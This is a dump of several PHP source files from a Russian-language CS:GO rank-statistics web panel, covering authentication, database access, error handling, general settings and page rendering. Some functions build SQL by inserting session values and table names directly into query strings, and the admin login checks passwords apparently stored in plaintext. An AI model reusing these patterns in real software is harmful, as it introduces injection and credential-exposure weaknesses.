0.2.120 * * @return int Количество администрации. */ public function get_count_admins() { return $this->admins_count = sizeof( $this->admins ); } /** * Проверка авторизованного пользователя на принадлежность ко списку администраторов. * * @since 0.2.120 */ public function check_session_admin() { $result = $this->Db->query( 'Core', 0, 0,"SELECT `steamid`, `group`, `flags`, `access` FROM `lvl_web_admins` WHERE `steamid`= :steamid LIMIT 1", [ "steamid" => $_SESSION["steamid64"] ]); if( ! empty( $result ) ): $_SESSION['user_admin'] = 1; $_SESSION['user_group'] = $result['group']; $_SESSION['user_access'] = $result['access']; $_SESSION['user_flags'] = $result['flags']; endif; } /** * Проверка печенек авторизованного пользователя. * * @since 0.2.120 */ public function check_session() { if ( $_SESSION['USER_AGENT'] != $_SERVER['HTTP_USER_AGENT'] || $_SESSION['REMOTE_ADDR'] != $this->General->get_client_ip_cdn() ): session_unset() && session_destroy() && header("Location: ".$this->General->arr_general['site']); endif; } /** * Авторизация администратора по логину и паролю. * * @since 0.2.120 */ public function authorization_no_steam() { // Параметры к запросу. $params = ['user' => action_text_clear( $_POST['_login'] ), 'password' => action_text_clear( $_POST['_pass'] )]; // Запрос на проверку пользователя. $result = $this->Db->query('Core', 0, 0, "SELECT `steamid`, `group`, `flags`, `access` FROM `lvl_web_admins` WHERE `user` = :user AND `password` = :password", $params ); // Сверка результата запроса. if ( ! empty( $result ) ): // Пользователь. Общее значение - Steam ID 32. $_SESSION['steamid'] = con_steam64to32( $result['steamid'] ); // Пользователь. Steam ID 32. $_SESSION['steamid32'] = con_steam64to32( $result['steamid'] ); // Пользователь. Steam ID 64. $_SESSION['steamid64'] = con_steam32to64 ($result['steamid'] ); // Пользователь. Заголовок User-Agent. $_SESSION['USER_AGENT'] = $_SERVER['HTTP_USER_AGENT']; // Пользователь. IP. $_SESSION['REMOTE_ADDR'] = $this->General->get_client_ip_cdn(); // Пользователь. Steam ID 32 ( Сокращенный ). preg_match_all("/[0-9a-zA-Z_]{7}:([0-9]{1}):([0-9]+)/u", $_SESSION['steamid'], $arr, PREG_SET_ORDER); $_SESSION['steamid32_short'] = $arr[0][1] . ':' . $arr[0][2]; // Пользователь. Административная инфомация. $_SESSION['user_admin'] = 1; $_SESSION['user_group'] = $result['group']; $_SESSION['user_access'] = $result['access']; $_SESSION['user_flags'] = $result['flags']; endif; // Обновление страницы. header("Location: ".$this->General->arr_general['site']); } /** * Получение информации о авторизованном пользователе для вывода данных в боковую панель. * * @since 0.2 */ public function get_authorization_sidebar_data() { // Проверка на подключенный мод - Levels Ranks. if ( ! empty( $this->Db->db_data['LevelsRanks'] ) ): // Перебор всех таблиц с модом - Levels Ranks for ( $d = 0; $d < $this->Db->table_count['LevelsRanks']; $d++ ): // Запрос о получении информации об авторизовавшемся пользователе. $this->base_info = $this->Db->query('LevelsRanks', $this->Db->db_data['LevelsRanks'][ $d ]['USER_ID'], $this->Db->db_data['LevelsRanks'][ $d ]['DB_num'], "SELECT `name`, `lastconnect`, `rank` FROM `{$this->Db->db_data['LevelsRanks'][ $d ]["Table"]}` WHERE `steam` LIKE '%{$_SESSION['steamid32_short']}%' LIMIT 1"); // Если Пользователь находится в таблице, заполняем итоговый массив. if ( ! empty( $this->base_info ) ): // Базовая информация о пользователе. $this->user_auth[] = $this->base_info; // Информация о таблице. $this->server_info[] = ['name_servers' => $this->Db->db_data['LevelsRanks'][ $d ]['name'], 'mod' => $this->Db->db_data['LevelsRanks'][ $d ]['mod'], 'ranks_pack' => $this->Db->db_data['LevelsRanks'][ $d ]['ranks_pack'], 'data_servers' => $this->Db->db_data['LevelsRanks'][ $d ]['Table'] ]; endif; endfor; endif; // Проверка на подключенный мод - FPS if ( ! empty( $this->Db->db_data['FPS'] ) ): // Перебор всех таблиц с модом - FPS. for ( $d = 1; $d <= $this->Db->table_count['FPS']; $d++ ): // Запрос о получении информации об авторизовавшемся пользователе. $this->base_info = $this->Db->query('FPS', 0, 0, "SELECT `fps_players`.`nickname` AS `name`, `fps_servers_stats`.`rank`, `fps_servers_stats`.`lastconnect` FROM `fps_players` INNER JOIN `fps_servers_stats` ON `fps_players`.`account_id` = `fps_servers_stats`.`account_id` WHERE `steam_id`={$_SESSION['steamid']} AND `fps_servers_stats`.`server_id` ={$d} LIMIT 1"); if ( ! empty( $this->base_info ) ): // Базовая информация о пользователе. $this->user_auth[] = $this->base_info; // Информация о таблице. $this->server_info[] = ['name_servers' => $this->Db->db_data['FPS'][ $d - 1 ]['name'], 'mod' => 'csgo', 'ranks_id' => $this->Db->db_data['FPS'][ $d - 1 ]['ranks_id'], 'ranks_pack' => $this->Db->db_data['FPS'][ $d - 1 ]['ranks_pack'] ]; endif; endfor; endif; // Проверка на подключенный мод - RankMeKento. if ( ! empty( $this->Db->db_data['RankMeKento'] ) ): // Перебор всех таблиц с модом - Levels Ranks for ( $d = 0; $d < $this->Db->table_count['RankMeKento']; $d++ ): // Запрос о получении информации об авторизовавшемся пользователе. $this->base_info = $this->Db->query('RankMeKento', $this->Db->db_data['RankMeKento'][ $d ]['USER_ID'], $this->Db->db_data['RankMeKento'][ $d ]['DB_num'], "SELECT `name`, `lastconnect` FROM `{$this->Db->db_data['RankMeKento'][ $d ]["Table"]}` WHERE `steam` LIKE '%{$_SESSION['steamid32_short']}%' LIMIT 1"); // Если Пользователь находится в таблице, заполняем итоговый массив. if ( ! empty( $this->base_info ) ): // Базовая информация о пользователе. $this->user_auth[] = $this->base_info; // Информация о таблице. $this->server_info[] = ['name_servers' => $this->Db->db_data['RankMeKento'][ $d ]['name'], 'mod' => $this->Db->db_data['RankMeKento'][ $d ]['mod'], 'ranks_pack' => $this->Db->db_data['RankMeKento'][ $d ]['ranks_pack'], 'data_servers' => $this->Db->db_data['RankMeKento'][ $d ]['Table'] ]; endif; endfor; endif; // For translating hardcoded string $Translate = new \app\ext\Translate; // При отсутствии пользователя в таблицах, собираем - массив исключение. if ( empty( $this->user_auth[0] ) ): // Информация о пользователе. $this->user_auth[0] = ['name' => $Translate->get_translate_phrase('_Unknown'), 'lastconnect' => '', 'rank' => '00']; // Название сервера. $this->server_info[0]['name_servers'] = $Translate->get_translate_phrase('_Unknown'); // Пак рангов. $this->server_info[0]['ranks_pack'] = 'default'; endif; // Считаем количество таблиц с найденым пользователем. $this->user_rank_count = sizeof( $this->user_auth ); $datetime = []; for ( $d = 0; $d < $this->user_rank_count; $d++ ): $datetime[] = $this->user_auth[ $d ]['lastconnect']; endfor; // Последнее актуальное подклчюение пользователя. $this->user_auth[0]['lastconnect_max'] = max( $datetime ); } } ================================================ FILE: app/ext/Db.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ namespace app\ext; use pdo; class Db { /** * @since 0.2 * @var array */ private $options = []; /** * @since 0.2 * @var array */ private $db = []; /** * @since 0.2 * @var array */ private $dns = []; /** * @since 0.2 * @var array */ protected $pdo = []; /** * @since 0.2 * @var array */ public $db_data = []; /** * @since 0.2 * @var array */ private $table_count_for = []; /** * @since 0.2 * @var int */ public $mod_count = 0; /** * @since 0.2 * @var array */ public $user_count = []; /** * @since 0.2 * @var array */ public $db_count = []; /** * @since 0.2 * @var array */ public $table_count = []; /** * @since 0.2 * @var array */ public $mod_name = []; /** * @since 0.2 * @var int */ public $table_statistics_count = 0; /** * @since 0.2 * @var array */ public $support_statistics = ['LevelsRanks', 'FPS', 'RankMeKento']; /** * @since 0.2 * @var array */ public $statistics_with_table_servers = ['FPS', 'HLstatsX']; /** * @since 0.2 * @var array */ public $statistics_table = []; /** * Организация работы вэб-приложения с базой данных. * * @since 0.2 */ public function __construct() { // Проверка на основную константу. defined('IN_LR') != true && die(); $this->db = $this->get_db_options(); // PDO Условия. $this->options = [ PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT, PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8mb4" ]; $this->table_count['LevelsRanks'] = 0; $this->table_count['FPS'] = 0; $this->table_count['RankMeKento'] = 0; # Подсчёт -> Количество модов. $this->mod_count = sizeof( $this->db ); # Цикл -> Количество модов. for ( $m = 0; $m < $this->mod_count; $m++ ) { /* * $m - Номер -> Модуль. */ # Получаем название определенного мода. $this->mod_name[] = array_keys( $this->db )[ $m ]; # Подсчёт -> Количество пользователей определенного мода. $this->user_count[ $this->mod_name[ $m ] ] = sizeof( $this->db[ $this->mod_name[ $m ] ] ); # Цикл -> Количество пользователей. for ( $u = 0; $u < $this->user_count[ $this->mod_name[ $m ] ]; $u++ ) { /* * $u - Номер Пользователя. */ # Подсчёт -> Количество баз данных определенного пользователя. $this->db_count[ $this->mod_name[ $m ] ][ $u ] = sizeof( $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'] ); # Цикл -> Количество баз данных. for ( $d = 0; $d < $this->db_count[ $this->mod_name[ $m ] ][ $u ]; $d++ ) { /* * $d - Номер Базы данных. */ // Проверка на поле PORT $this->db[ $this->mod_name[ $m ] ][ $u ]["PORT"] = empty( $this->db[ $this->mod_name[ $m ] ][ $u ]["PORT"] ) ? 3306 : $this->db[ $this->mod_name[ $m ] ][ $u ]["PORT"]; // Сигнатура DNS. $this->dns[ $this->mod_name[ $m ] ][ $u ][ $d ] = 'mysql:host=' . $this->db[ $this->mod_name[ $m ] ][ $u ]["HOST"] . ';port=' . $this->db[ $this->mod_name[ $m ] ][ $u ]["PORT"] . ';dbname=' . $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['DB'] . ';charset=utf8'; $this->table_count_for[ $this->mod_name[ $m ] ] = sizeof( $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'] ); // Циклом перебираем все таблицы которые описаны в файле настроек баз данных. for ( $t = 0; $t < $this->table_count_for[ $this->mod_name[ $m ] ]; $t++ ) { /* * $t - Номер таблицы. */ $rank_pack = empty( $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'][ $t ]['ranks_pack'] ) ? 'default' : $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'][ $t ]['ranks_pack']; if( in_array( $this->mod_name[ $m ], $this->statistics_with_table_servers ) ): switch ( $this->mod_name[ $m ] ) { case 'FPS': $this->fps_servers_data = $this->queryAll('FPS',0, 0, 'SELECT `id`, `server_name`, `server_ip`, `settings_rank_id` FROM `fps_servers`' ); for ( $_m = 0, $m_s = sizeof( $this->fps_servers_data ); $_m < $m_s; $_m++ ): $this->db_data['FPS'][] = [ 'DB_mod' => 'FPS', 'USER_ID' => $u, 'USER' => $this->db[ $this->mod_name[ $m ] ][ $u ]['USER'], 'DB' => $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['DB'], 'DB_num' => $d, 'Table' => $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'][ $t ]['table'] ?? '', 'table_id' => $t, 'name' => $this->fps_servers_data[ $_m ]['server_name'] ?? 'Unnamed', 'mod' => $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'][ $t ]['mod'] ?? 730, 'steam' => $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'][ $t ]['steam'] ?? 1, 'ranks_id' => $this->fps_servers_data[ $_m ]['settings_rank_id'], 'ranks_pack' => $rank_pack ?? 'default' ]; $this->statistics_table[] = [ 'DB_mod' => 'FPS', 'name' => $this->fps_servers_data[ $_m ]['server_name'], 'ranks_pack' => $rank_pack ]; endfor; break; case 'HLstatsX': break; } else: // Создаём массив с описанием таблиц. $this->db_data[ $this->mod_name[ $m ] ][] = [ 'DB_mod' => $this->mod_name[ $m ], 'USER_ID' => $u, 'USER' => $this->db[ $this->mod_name[ $m ] ][ $u ]['USER'], 'DB' => $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['DB'], 'DB_num' => $d, 'Table' => $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'][ $t ]['table'] ?? '', 'table_id' => $t, 'name' => $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'][ $t ]['name'] ?? 'Unnamed', 'mod' => $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'][ $t ]['mod'] ?? 730, 'steam' => $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'][ $t ]['steam'] ?? 1, 'ranks_pack' => $rank_pack ?? 'default' ]; in_array( $this->mod_name[ $m ], $this->support_statistics ) && $this->statistics_table[] = [ 'DB_mod' => $this->mod_name[ $m ], 'name' => $this->db[ $this->mod_name[ $m ] ][ $u ]['DB'][ $d ]['Prefix'][ $t ]['name'], 'ranks_pack' => $rank_pack]; endif; } } } $this->table_count[ $this->mod_name[ $m ] ] = sizeof( $this->db_data[ $this->mod_name[ $m ] ] ); } $this->table_statistics_count = $this->table_count['LevelsRanks'] + $this->table_count['FPS'] + $this->table_count['RankMeKento']; } /** * Получение настроек базы данных. * * @since 0.2 * * @return array Массив с настройками. */ private function get_db_options() { $db = file_exists( SESSIONS . '/db.php' ) ? require SESSIONS . '/db.php' : null; return empty( $db ) ? exit(require 'app/page/custom/install/index.php') : $db; } /** * Добавление или удаление мода в db.php * * @since 0.2.2 * * $delete - ["DB_MOD" => "Номер базы, может их несколько", "USER_ID" => "Номер базы, обычно 0"] || ["delete" => "all"] - Чтобы снести всю базу * * @return bool */ public function change_db( $mod, $host, $user, $pass, $db_name, $table, $delete = 0, $params = null ) { $db = $this->get_db_options(); if( !$db ) return false; if( is_array( $delete ) ) { if( !isset( $delete["delete"] ) && $delete["delete"] != "all" ) { // Рядовые проверки, вдруг надо удалить конкретную базу if( !empty( $delete["DB_MOD"] ) && empty( $delete["USER_ID"] ) ) unset( $db[ $mod ][ $delete["DB_MOD"] ] ); // Удаление определенной таблицы if( !empty( $delete["DB_MOD"] ) && !empty( $delete["USER_ID"] ) ) unset( $db[ $mod ][ $delete["DB_MOD"] ][ $delete["USER_ID"] ] ); } else { unset( $db[ $mod ] ); } } else { $params = ( !empty( $params ) ) ? ["table" => $table] + $params : ["table" => $table]; $query = ['HOST' => $host, 'USER' => $user, 'PASS' => $pass, 'DB' =>[0 =>['DB' => $db_name, 'Prefix' =>[0 =>$params]]]]; $db[ $mod ][] = $query; } if( file_put_contents( SESSIONS . 'db.php', 'mod_name); if($_Key !== false) { // Создаём подключение по PDO для определенной базы данных. $this->pdo[ $this->mod_name[ $_Key ] ][ $user_id ][ $db_id ] = new PDO( $this->dns[ $this->mod_name[ $_Key ] ][ $user_id ][ $db_id ], $this->db[ $this->mod_name[ $_Key ] ][ $user_id ]['USER'], $this->db[ $this->mod_name[ $_Key ] ][ $user_id ]['PASS'], $this->options ); return true; } return false; } /** * Подготовительный подзапрос. * * @since 0.2 * * @param string $mod Навание мода. * @param int $user_id Номер пользователя. * @param int $db_id Номер подключенной базы данных. * @param string $sql SQL запрос. * @param array $params Параметры. * * @return array Итог подготовленного подзапроса */ public function inquiry( $mod, $user_id, $db_id, $sql, $params ) { //Проверка на существования БД, и подключение если его нет if(!isset($this->pdo[ $mod ][ $user_id ][ $db_id ])) $this->get_new_connect($mod, $user_id, $db_id); $stmt = $this->pdo[ $mod ][ $user_id ][ $db_id ]->prepare( $sql ); if ( ! empty( $params ) ) { foreach ( $params as $key => $val ) { if ( is_int( $val ) ) { $type = PDO::PARAM_INT; } else { $type = PDO::PARAM_STR; } $stmt->bindValue( ':'.$key, $val, $type ); } } $stmt->execute(); return $stmt; } /** * Шаблон запроса отдающий массив с индексированными именами столбцов. * * @since 0.2 * * @param string $mod Навание мода. * @param int $user_id Номер пользователя. * @param int $db_id Номер подключенной базы данных. * @param string $sql SQL запрос. * @param array $params Параметры. * * @return array Возвращает результат SQL запроса. */ public function query( $mod, $user_id = 0, $db_id = 0, $sql = null, $params = [] ) { $result = $this->inquiry( $mod, $user_id, $db_id, $sql, $params ); if($result) return $result->fetch( PDO::FETCH_ASSOC ); } /** * Шаблон запроса отдающий массив с индексированными номерами столбцов. * * @since 0.2 * * @param string $mod Навание мода. * @param int $user_id Номер пользователя. * @param int $db_id Номер подключенной базы данных. * @param string $sql SQL запрос. * @param array $params Параметры. * * @return array Возвращает результат SQL запроса. */ public function queryNum( $mod, $user_id = 0, $db_id = 0, $sql = null, $params = [] ) { $result = $this->inquiry( $mod, $user_id, $db_id, $sql, $params ); if($result) return $result->fetch( PDO::FETCH_NUM ); } /** * Шаблон запроса отдающий массив со всеми строками. * * @since 0.2 * * @param string $mod Навание мода. * @param int $user_id Номер пользователя. * @param int $db_id Номер подключенной базы данных. * @param string $sql SQL запрос. * @param array $params Параметры. * * @return array Возвращает результат SQL запроса. */ public function queryAll( $mod, $user_id = 0, $db_id = 0, $sql = null, $params = [] ) { $result = $this->inquiry( $mod, $user_id, $db_id, $sql, $params ); if($result) return $result->fetchAll( PDO::FETCH_ASSOC ); } /** * Шаблон запроса отдающий массив со всеми строками, парсирование ключа. * * @since 0.2 * * @param string $mod Навание мода. * @param int $user_id Номер пользователя. * @param int $db_id Номер подключенной базы данных. * @param string $sql SQL запрос. * @param array $params Параметры. * * @return array Возвращает результат SQL запроса. */ public function query_all_key_pair( $mod, $user_id = 0, $db_id = 0, $sql = null, $params = [] ) { $result = $this->inquiry( $mod, $user_id, $db_id, $sql, $params ); if($result) return $result->fetchAll( PDO::FETCH_KEY_PAIR ); } /** * Шаблон запроса отдающий массив стобца. * * @since 0.2 * * @param string $mod Навание мода. * @param int $user_id Номер пользователя. * @param int $db_id Номер подключенной базы данных. * @param string $sql SQL запрос. * @param array $params Параметры. * * @return array Возвращает результат SQL запроса. */ public function queryColumn( $mod, $user_id = 0, $db_id = 0, $sql = null, $params = [] ) { $result = $this->inquiry( $mod, $user_id, $db_id, $sql, $params ); if($result) return $result->fetchColumn(); } /** * Шаблон запроса отдающий данные одного стобца. * * @since 0.2 * * @param string $mod Навание мода. * @param int $user_id Номер пользователя. * @param int $db_id Номер подключенной базы данных. * @param string $sql SQL запрос. * @param array $params Параметры. * * @return array Возвращает результат SQL запроса. */ public function queryOneColumn( $mod, $user_id = 0, $db_id = 0, $sql = null, $params = [] ) { $result = $this->inquiry( $mod, $user_id, $db_id, $sql, $params ); if($result) return $result->fetch( PDO::FETCH_COLUMN ); } /** * Запрос проверяющий существование столбика в той или иной таблице. * * @since 0.2 * * @param string $mod Навание мода. * @param int $user_id Номер пользователя. * @param int $db_id Номер подключенной базы данных. * @param string $tablename Название таблицы. * @param string $column Название столбика который нужно проверить. * * @return int Возвращает результат проверки. */ public function mysql_column_search( $mod, $user_id = 0, $db_id = 0, $tablename = null, $column = null ) { //Проверка на существования БД, и подключение если его нет if(!isset($this->pdo[ $mod ][ $user_id ][ $db_id ])) $this->get_new_connect($mod, $user_id, $db_id); return in_array( $column, $this->pdo[ $mod ][ (int) $user_id ][ (int) $db_id ]->query('SHOW COLUMNS from ' . $tablename . ' ')->fetchAll( PDO::FETCH_COLUMN ) ); } /** * Запрос проверяющий существование таблицы в той или иной базе данных. * * @since 0.2 * * @param string $mod Навание мода. * @param int $user_id Номер пользователя. * @param int $db_id Номер подключенной базы данных. * @param string $tablename Название таблицы которую нужно проверить проверки * * @return int Возвращает результат проверки. */ public function mysql_table_search( $mod, $user_id = 0, $db_id = 0, $tablename = null ) { //Проверка на существования БД, и подключение если его нет if(!isset($this->pdo[ $mod ][ $user_id ][ $db_id ])) $this->get_new_connect($mod, $user_id, $db_id); return ! empty( $this->pdo[ $mod ][ (int) $user_id ][ (int) $db_id ]->query("SHOW TABLES like '$tablename'")->fetchAll( PDO::FETCH_NUM )[0] ) ? true : false; } /** * Возвращает ID последней вставленной строки. * * @since 0.2 * * @param string $mod Навание мода. * @param int $user_id Номер пользователя. * @param int $db_id Номер подключенной базы данных. * * @return int ID. */ public function lastInsertId( $mod, $user_id = 0, $db_id = 0 ) { //Проверка на существования БД, и подключение если его нет if(!isset($this->pdo[ $mod ][ $user_id ][ $db_id ])) $this->get_new_connect($mod, $user_id, $db_id); return $this->pdo[ $mod ][ $user_id ][ $db_id ]->lastInsertId(); } /** * "Разрыв соединения с базой данных". * * @since 0.2 */ public function __destruct() { unset( $this->dns ); unset( $this->pdo ); } } ================================================ FILE: app/ext/ErrorsHandler.php ================================================ $error_level, "message" => $error_message, "file" => $error_file, "line" => $error_line ]; /** * Отлавливаем проблемы с парсингом и фатальной ошибкой */ switch ($error_level) { case E_ERROR: case E_CORE_ERROR: case E_COMPILE_ERROR: case E_PARSE: self::return_error( $error ); break; case E_USER_ERROR: case E_RECOVERABLE_ERROR: self::return_error( $error ); break; case E_WARNING: case E_CORE_WARNING: case E_COMPILE_WARNING: case E_USER_WARNING: case E_NOTICE: case E_USER_NOTICE: case E_STRICT: default: } } public function setErrors() { set_error_handler([$this, "error_handler"]); register_shutdown_function([$this, 'fatal_handler']); } } ================================================ FILE: app/ext/General.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ namespace app\ext; class General { /** * @since 0.2 * @var array */ public $arr_general = []; /** * @since 0.2 * @var array */ public $notes = []; /** * @since 0.2 * @var array */ public $server_list = []; /** * @since 0.2 * @var int */ public $server_list_count = 0; /** * Массив с буффером аватарок и прочего * @var array */ protected static $json_buff = []; /** * Инициализация основных настроек. * * @param object $Db * * @since 0.2 */ function __construct( $Db ) { // Проверка на основную константу. defined('IN_LR') != true && die(); //Проверка на iframe (!empty($_GET['code']) && !empty($_GET['description'])) && exit(require PAGE_CUSTOM . '/error/index.php'); $this->Db = $Db; // Получение настроек вэб-интерфейса. $this->arr_general = $this->get_default_options(); if( isset( $_POST['btn_search'] ) && IN_LR == true ) { $search = substr( $_POST['_steam_id'], 0, 7) === "STEAM_0" ? str_replace("STEAM_0", "STEAM_1", $_POST['_steam_id'] ) : $_POST['_steam_id']; header( 'Location: ' . $this->arr_general['site'] . 'profiles/' . $search . '/?search=1' ); exit; } // Получение списка игровых серверов. $this->server_list = $this->get_server_list(); // Общее количество игровых серверов. $this->server_list_count = get_arr_size( $this->server_list ); // Получение языка страницы. $this->get_default_url_section('language', $this->arr_general['language'], array( 'RU', 'EN', 'UA', 'LT', 'DE', 'CH','PT', 'RS', 'BA', 'CRO' ) ); // Получение информации о состоянии сайт-бара. $this->get_default_url_section('sidebar_open', $this->arr_general['sidebar_open'], array( true, false ) ); } /** * Получает и задает название подраздела из URL по умолчанию, сохраняя результат по умолчанию в сессию. * * @since 0.2 * * @param string|bool $section Название подраздела. * @param string $default Значние по умолчанию. * @param array|null $arr_true Белый список. * */ public function get_default_url_section( $section, $default, $arr_true ) { ! isset( $_SESSION[ $section ] ) && $_SESSION[ $section ] = $default; isset ( $_GET[ $section ] ) && in_array( $_GET[ $section ], $arr_true ) && $_SESSION[ $section ] = $_GET[ $section ]; } /** * Получает определенного аватара. * * @since 0.2 * * @param string $profile Steam ID игрока * @param int $type Тип/Размер аватара. * * @return string Выводит ссылку на аватар если он существует. */ public function getAvatar( $profile, $type ) { $avatar_type = $type == 1 ? "avatar" : "slim"; if( $this->arr_general['avatars'] == 1 ) { if( isset( self::$json_buff[ $profile ] ) && !empty( self::$json_buff[ $profile ] ) ) return htmlentities(self::$json_buff[ $profile ][ $avatar_type ]); $url = sprintf("%simg/avatars/%s.json", CACHE, $profile); if( file_exists( $url ) ) { $avatar = json_decode(file_get_contents($url), true); self::$json_buff[$profile] = $avatar; return htmlentities($avatar[$avatar_type]); } } return $this->arr_general['site'] . 'storage/cache/img/avatars_random/' . rand(1,30) . '.jpg'; } /** * Проверка на существование определеноого аватара и его актуальность. * * @since 0.2 * * @param string $profile Steam ID игрока * @param int $type Тип/Размер аватара. * * @return int Выводит итог проверки. */ public function checkAvatar( $profile, $type ) { $url = CACHE . 'img/avatars/' . $profile . '.json'; if( $type == 1 ) { if ( file_exists( $url ) ): if ( time() >= filemtime( $url ) + $this->arr_general['avatars_cache_time'] ): unlink( $url ); return 1; else: return 0; endif; else: return 1; endif; } } /** * Получение никнейма игрока. * * @since 0.2 * * @param string $profile Steam ID игрока * * @return string Выводит итог проверки. */ public function checkName( $profile ) { !isset( self::$json_buff[$profile] ) && $this->getAvatar($profile, 1); return htmlentities(self::$json_buff[$profile]["name"]) ?? "Unnamed"; } /** * Отправка уведомлений через функцию. * * @since 0.2 * * @return bool true */ public function sendNote($text, $status, $time = 4.5) { $this->notes[] = [ 'content' => $text, 'status' => $status, 'time' => $time, ]; } /** * Получение настроек по умолчанию для вэб-интерфейса. * * @since 0.2 * * @return array Массив с настройками. */ public function get_default_options() { $options = file_exists( SESSIONS . '/options.php' ) ? require SESSIONS . '/options.php' : null; return !isset( $options['animations'] ) ? exit(require 'app/page/custom/install/index.php') : $options; } /** * Получение списка серверов. * * @return array Массив со списком серверов. */ public function get_server_list() { return $this->Db->queryAll( 'Core', 0, 0,'SELECT * FROM `lvl_web_servers`' ); } /** * Получение иконок и работа с ними. * * @since 0.2 * * @param string $group Название папки из которой будет читаться иконка. * @param string $name Название иконки. * @param string $category Дополнительное название под-категории, если она имеется. По умолчанию нету. * * @return string|false Выводит содержимое SVG файла. */ function get_icon( $group, $name, $category = null ) { return print $category == null ? '' : ''; } /** * Вывод JS скрипта на проверку актуальности аватара. * * @since 0.2 * * @param string $id Steam ID - 32. * @param int $type Тип аватара. * * @return string Скрипт. */ function get_js_relevance_avatar( $id, $type = 1 ) { if ( $this->arr_general['avatars'] == 1 ): $con = is_numeric( $id ) ? $id : con_steam32to64( $id ); $check = (int) $this->checkAvatar( $con, $type ); echo sprintf('', $check, $con ); endif; } /** * Получает IP клиента с поддержкой CDN. * Поддерживает: CloudFlare - (другие CDN по запросу). * * @return string IP. */ public function get_client_ip_cdn() { return isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']; } /** * Счетчик посещений */ public function online_stats() { if(isset($_SESSION['steamid32'])) $User = $_SESSION['steamid32']; else $User = 'guest'; $client_ip = $this->get_client_ip_cdn(); $param['ip'] = $client_ip; $Online = $this->Db->queryOneColumn( 'Core', 0, 0, "SELECT `user` FROM `lr_web_online` WHERE `ip` = :ip", $param ); if(empty($Online)) { $params = [ 'user' => $User, 'ip' => $client_ip ]; $this->Db->query('Core', 0, 0, "INSERT INTO `lr_web_online`(`id`, `user`, `ip`, `time`) VALUES (NULL, :user, :ip, NOW())", $params ); } else { if($Online != $User) { $params = [ 'user' => $User, 'ip' => $client_ip ]; $this->Db->query('Core', 0, 0, 'UPDATE `lr_web_online` SET `time` = NOW(), `user` = :user WHERE `ip` = :ip', $params ); } else { $this->Db->query('Core', 0, 0, "UPDATE `lr_web_online` SET `time` = NOW() WHERE `ip` = :ip", $param ); } } $this->Db->query('Core', 0, 0, "DELETE FROM `lr_web_online` WHERE `time` < SUBTIME(NOW(), '0 0:05:0')" ); $_Param['date'] = date('m.Y'); $_Attendance_ID = $this->Db->queryOneColumn( 'Core', 0, 0, 'SELECT `id` FROM `lr_web_attendance` WHERE `date` = :date', $_Param ); if($_Attendance_ID) { $_ParamU['id'] = $_Attendance_ID; $this->Db->query( 'Core', 0, 0, "UPDATE `lr_web_attendance` SET `visits` = `visits` + 1 WHERE `id` = :id", $_ParamU ); } else { $this->Db->query( 'Core', 0, 0, "INSERT INTO `lr_web_attendance`(`id`, `date`, `visits`) VALUES (NULL, :date, 1)", $_Param ); } } } ================================================ FILE: app/ext/Graphics.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ namespace app\ext; class Graphics { /** * @since 0.2.123 * @var object */ public $Translate; /** * @since 0.2 * @var object */ public $General; /** * @since 0.2 * @var object */ public $Modules; /** * @since 0.2 * @var object */ public $Db; /** * @since 0.2 * @var object */ public $Auth; /** * @since 0.2 * @var object */ public $Notifications; /** * @since 0.2 * @var object */ public $Router; /** * Инициализация графической составляющей вэб-интерфейса с подгрузкой модулей. * * @param object $Translate * @param object $General * @param object $Modules * @param object $Db * @param object $Auth * @param object $Notifications * * @since 0.2 */ function __construct( $Translate, $General, $Modules, $Db, $Auth, $Notifications, $Router ) { // Проверка на основную константу. defined('IN_LR') != true && die(); // Присвоение глобальных объектов. $Graphics = $this; $this->Translate = $Translate; $this->General = $General; $this->Modules = $Modules; $this->Db = $Db; $this->Auth = $Auth; $this->Notifications = $Notifications; $this->Router = $Router; (empty($Modules->arr_module_init['page'][ $Modules->route ]) && !isset($_GET['auth'])) && get_iframe("404", "Oopss..."); // Подгрузка данных из модулей которые не относятся к интерфейсу и должны быть получены до начала рендера страницы. for ( $module_id = 0, $c_mi = sizeof( $Modules->arr_module_init['page'][ $Modules->route ]['data'] ); $module_id < $c_mi; $module_id++ ): $file = MODULES . $Modules->arr_module_init['page'][ $Modules->route ]['data'][ $module_id ] . '/forward/data.php'; file_exists( $file ) && require $file; endfor; // Дополнительный поток под модули, которые должны задействовать ядро на постоянной основе, а не локально. if( ! empty( $Modules->arr_module_init['data_always'] ) ): for ( $module_id = 0, $c_mi = sizeof( $Modules->arr_module_init['data_always'] ); $module_id < $c_mi; $module_id++ ): $file = MODULES . $Modules->arr_module_init['data_always'][ $module_id ] . '/forward/data_always.php'; file_exists( $file ) && require $file; endfor; endif; // Рендер блока - Head require PAGE . 'head.php'; //Рендер кастомного head (file_exists(TEMPLATES . $General->arr_general['theme'] . '/interface/head.php')) && require TEMPLATES . $General->arr_general['theme'] . '/interface/head.php'; // Рендер блока - Sidebar (file_exists(TEMPLATES . $General->arr_general['theme'] . '/interface/sidebar.php')) && 